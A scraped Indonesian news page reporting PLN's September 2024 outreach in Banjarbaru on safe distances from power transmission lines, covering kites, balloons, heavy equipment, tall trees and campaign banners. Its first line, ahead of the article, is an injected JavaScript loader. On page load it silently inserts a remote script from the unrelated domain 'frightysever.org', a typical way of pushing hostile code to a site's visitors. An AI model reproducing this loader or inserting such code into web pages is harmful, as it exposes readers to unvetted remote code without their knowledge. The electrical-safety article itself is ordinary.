(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PLN UIP3B KALIMANTAN

PLN UP2B Kalselteng Bagi Tips Aman Aktivitas di Bawah Transmisi Listrik


KANALKALIMANTAN. COM, BANJARBARU – PT PLN (Persero) Unit Pelaksana Pengatur Beban Kalimantan Selatan dan Kalimantan Tengah (UP2B Kalselteng) kembali menunjukkan komitmen terhadap keselamatan masyarakat dengan melakukan sosialisasi mengenai pentingnya menjaga keamanan saat beraktivitas di bawah jaringan transmisi listrik. Kegiatan ini dilaksanakan untuk memperingati Hari Pelanggan Nasional 4 September dengan memberikan pemahaman mengenai jarak aman dan potensi bahaya yang dapat timbul jika beraktivitas terlalu dekat dengan jaringan listrik kepada masyarakat Kelurahan Kemuning, Kota Banjarbaru pada Jumat (13/9/2024).

General Manager PLN UIP3B Kalimantan memberikan arahan agar sosialisasi ini dapat menambah wawasan masyarakat secara umum tentang keselamatan ketenagalistrikan.

“Sosialisasi bertujuan untuk memberikan informasi pemahaman kepada masyarakat agar tidak bermain layang-layang atau balon udara di dekat jaringan transmisi. Bermain balon udara maupun layang-layang di sekitar jaringan PLN dapat berpotensi tersangkut mengenai jaringan transmisi sehingga dapat menyebabkan ledakan, tersengat listrik, dan terjadinya gangguan aliran listrik,” jelas Salam.

Baca juga: Pegunungan Meratus Diusulkan Menjadi Taman Nasional

Bertempat di gerai binaan Tanggung Jawab Sosial dan Lingkungan (TJSL) Papadaan Banjar di jalan Trikora samping GOR Rudy Resnawan, Tim Keselamatan Kesehatan Kerja dan Lingkungan (K3L) UP2B Kalselteng memberikan pemahaman kepada masyarakat agar tidak bermain layang-layang atau balon udara di dekat jaringan transmisi karena balon udara dan benang layang-layang berpotensi tersangkut ataupun mengenai jaringan transmisi sehingga dapat menyebabkan ledakan, tersengat listrik dan terjadinya gangguan aliran listrik.

Selain balon udara dan layang-layang pekerjaan konstruksi seperti penggunaan alat berat atau sejenisnya harus menjaga jarak aman saat melakukan aktivitas di sekitar jaringan transmisi dengan memastikan jarak aman horizontal 10 meter dan jarak vertikal sejauh 6 meter dari jaringan listrik.

Selain dua aktivitas di atas, menanam pohon/tanaman/tumbuhan yang tumbuh tinggi di bawah jaringan listrik juga merupakan penyebab terjadinya gangguan, khususnya apabila tanaman ini tumbuh tinggi dan mengenai jaringan listrik. Adapun untuk batas aman pohon atau tumbuhan yang ditanam dianjurkan adalah tanaman dengan jenis pendek yang memiliki tinggi maksimum berada pada jarak aman yaitu 5 meter dari jaringan listrik.

Mukti Irawan, Manajer UP2B Kalselteng mengatakan, seluruh masyarakat agar lebih berhati-hati saat melakukan aktivitas di sekitar transmisi karena sangat berbahaya.

“Pada beberapa kesempatan kami sisipkan edukasi kepada masyarakat agar tidak melakukan aktivitas seperti main layang-layang atau balon udara, tidak melakukan kegiatan alat berat yang melewati batas aman, tidak menanam tumbuhan yang akan tumbuh tinggi dan akan mengenai jaringan listrik karena bisa menyebabkan ledakan, tersengat listrik, dan terjadi gangguan aliran listrik,” ujar Mukti.

“Terlebih saat memasuki tahun politik para simpatisan saat memasang spanduk atau umbul-umbul, perlu memastikan agar tidak memasang di sekitar jaringan listrik karena itu juga berbahaya. Untuk warga yang melihat mungkin bisa juga membantu kami untuk menyampaikan edukasi kepada masyarakat yang masih melakukan aktivitas-aktivitas seperti yang kami sebutkan. Agar kita bisa bersama-sama menghindari potensi bahaya yang akan timbul,” jelas Mukti.

Agus Santoso, salah satu peserta sosialisasi tersebut mengatakan bahwa sosialisasi ketenagalistrikan seperti ini mempunyai peran positif dan membuka wawasan bagi masyarakat tentang jaringan listrik.

“Menurut saya ini adalah salah satu sosialisasi yang tujuannya dapat kita rasakan secara langsung. Jaringan listrik ternyata perlu dijaga dengan cara demikian agar aliran listrik yang dibawa dapat tersalurkan ke rumah-rumah penduduk secara aman dan tidak ada gangguan padam listrik dan peran tersebut dapat kita mulai dari tidak bermain layang-layang di dekat jaringan listrik,” ungkap Agus.

Sosialisasi merupakan bagian dari upaya PLN untuk meningkatkan kesadaran dan mencegah terjadinya kecelakaan yang dapat mengganggu pasokan listrik di wilayah Kalimantan Selatan dan Kalimantan Tengah. (Kanalkalimantan.com/adv)

Reporter : adv
Editor : kk


Muhammad Andi

Recent Posts

BRI Permudah Investasi dengan Fitur Tabungan Emas Digital di BRImo

KANALKALIMANTAN.COM - Maraknya ketidakpastian ekonomi global, masyarakat dituntut untuk jeli mencari alternatif investasi yang mampu… Read More

2 jam ago

Hadir Perdana di Banjarbaru, Generasi Happy Tri Ajak Gen Z Bikin Kreasi

KANALKALIMANTAN.COM, BANJARBARU - Generasi Happy Tri menyapa Generasi Z (Gen Z) di Banjarbaru dan Banjarmasin,… Read More

14 jam ago

Dari Banua Creative Festival, Kalsel Incar Tuan Rumah Ekrafnas 2025

KANALKALIMANTAN.COM, BANJARBARU - Acara bertajuk "Banua Creative Festival" inisiasi Gerakan Ekonomi Kreatif Kalimantan Selatan (Gekraf… Read More

15 jam ago

UMK Banjarmasin Naik Menjadi Rp3,59 Juta

KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More

15 jam ago

DKISP Banjar Raih Penghargaan Apresiasi Media Pemprov Kalsel 2024

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More

22 jam ago

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

23 jam ago

This website uses cookies.